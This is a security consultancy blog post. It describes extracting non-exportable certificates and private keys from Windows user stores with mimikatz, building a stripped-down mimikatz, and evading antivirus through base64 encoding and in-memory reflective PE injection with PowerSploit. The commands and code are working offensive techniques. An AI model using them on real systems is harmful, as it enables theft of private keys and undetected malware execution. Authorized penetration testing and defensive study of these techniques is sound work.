Breaking

Extract Non-Exportable Certificates and Evade Anti-Virus with Mimikatz and Powersploit

Some time ago, one of our customers contacted us with a special request. For some legitimate reason, they needed to centrally collect certain certificates including their private keys which were distributed across many client systems running Windows and stored in the corresponding user stores. Unfortunately (only in this case, but actually good from a security perspective), the particular private keys were marked non-exportable making a native export in the context of the user impossible. As if this wasn’t enough, the extraction was supposed to be executed in the context of the current user (i.e. without administrative privileges) while not triggering the existing Anti Virus solution at all. Also, the certificates needed to be transferred to some trusted system where they could not be accessed in an unauthorized way. So let’s have a look how we tackled these problems:

 

Certificate/Key Extraction with Mimikatz

While there were other possibilities to investigate like extracting the DPAPI protected certificates directly from the AD and trying to reverse engineer the encryption process, we decided to take an approach with a predictable effort by using mimikatz. Extracting non-exportable certificates from the user store including their private keys is pretty straightforward with mimikatz. You simply issue the following commands and the PFX files will be exported to the mimikatz directory:

crypto::capi
crypto::certificates /export /store:MY /systemstore:CURRENT_USER

The first command patches the Windows Crypto API so that non-exportable certificates can be exported and the second one does the actual export.

 

Stripping Functionalities from Mimikatz

So we can extract the the certificates which is good. But mimikatz is a pretty powerful tool and can do a lot more like extracting NTLM hashes, passwords, tickets and so on. Certainly, we don’t want all these functionalities being potentially available on the client systems, especially when we want to evade AV (but see below on that topic). Conveniently, mimikatz is open source software so we can build our own version with all these functionalities stripped off. Following the build instructions we need to set up Visual Studio and import the mimikatz project. In the Solution Explorer View we can safely exclude all files in the following directories and their subdirectories by right clicking the .c/.h files and selecting “Exclude from Project”:

mimikatz/modules/dpapi
mimikatz/modules/kerberos
mimikatz/modules/sekurlsa

In the mimikatz/modules subdirectory we can exclude all files except the following:

kull_m.h
kull_m_crypto.c
kull_m_crypto.h
kull_m_standard.c
kull_m_standard.h

In the mimikatz directory we can exclude all except the following .c/.h files:

crypto
crypto_system
file
kernel
memory
minidump
output
patch
process
registry
registry_structures
service
mimikatz

In order that mimikatz can still be built without errors you need to modify the mimikatz.h by removing all unnecessary includes except the following:

#include "globals.h"
#include "modules/kuhl_m_standard.h"
#include "modules/kuhl_m_crypto.h"
#include <io.h>
#include <fcntl.h>

Additionally, mimikatz.c needs to be modified in the following way: Remove all unneeded commands from the const KUHL_M * mimikatz_modules[] array. In our case it now looks like this:

const KUHL_M * mimikatz_modules[] = {
 &kuhl_m_standard,
 &kuhl_m_crypto,
};

Furthermore, we need to comment out all function calls of excluded modules. In our case these were the following lines:

kull_m_asn1_init();
kull_m_asn1_term();
status = kuhl_m_kernel_do(full + 1);
status = kuhl_m_rpc_do(full + 1);

Now we can build our own version of mimikatz with all unnecessary functionalities stripped off. To further lock down the functionality one could even modify mimikatz.c so that it directly executes our commands without providing all of the crypto and standard commands to the user.

Note that this was done using a mimikatz version pulled from Git end of June 2017. As the source code might have changed, the process of removing functionalities might have too. However, you can use this as a starting point to build your own customized version of mimikatz.

 

Anti-Virus Evasion, the Powershell Way

The next requirement was the evasion of the Anti-Virus engine. As expected, our modifications were not sufficient to bypass the AV already. While there are sophisticated tools for packing and encrypting binaries to evade the AV, some rather simple approaches might do the job as well as them. By Base64-encoding our binary and executing it with Invoke-ReflectivePEInjection we were able to successfully evade the AV detection. We can convert our binary to base64 in Powershell like this:

$file = "<PathToFile>"
$fileBytes = [System.IO.File]::ReadAllBytes($file)
$base64Str = [System.Convert]::ToBase64String($fileBytes)
$base64Str | Out-File -filepath "<outputPath>/out.txt"

Then we need to create a Powershell script containing our base64 encoded binary (In this case, place the Invoke-ReflectivePEInjection in the same directory):

. .\Invoke-ReflectivePEInjection.ps1
$ExeStr = "<String from out.txt>" 
$ExeBytes = [System.Convert]::FromBase64String($ExeStr)
Invoke-ReflectivePEInjection -PEBytes $ExeBytes -ExeArgs "<Arg1> <Arg2> ..."

If this is not enough to evade the AV, there are many more possibilities to do this in a more stealthy way:

  • Additionally encrypt the encoded binary and decrypt it during runtime only
  • Download the binary and the Invoke-ReflectivePEInjection (in an encrypted form) over the network within the Powershell script and directly inject everything in memory

Secure Collection of Private Keys

To securely collect the certificates and especially their private keys from each client system on a central server, different possibilities come to mind:

  • A network share which is write only
  • A network accessible database where users have INSERT rights only
  • Some form of hybrid encryption protecting the keys in transit too

While the first two options would provide protection of the private keys against unauthorized accesses, the third one also provides protection of the private keys on the network when in transit. For this reason, we decided to secure the private key of each certificate with a strong and unique password and to encrypt this password with a public key which in turn was included in the extraction script. Ultimately, the private key of each certificate is protected with an individual and strong password in transit and can then be decrypted on some secure and trusted system by the private key corresponding to the public key used for the encryption.

 

We hope we could share some new technical details with you!

 

Cheers,

Kevin

Leave a Reply

Your email address will not be published. Required fields are marked *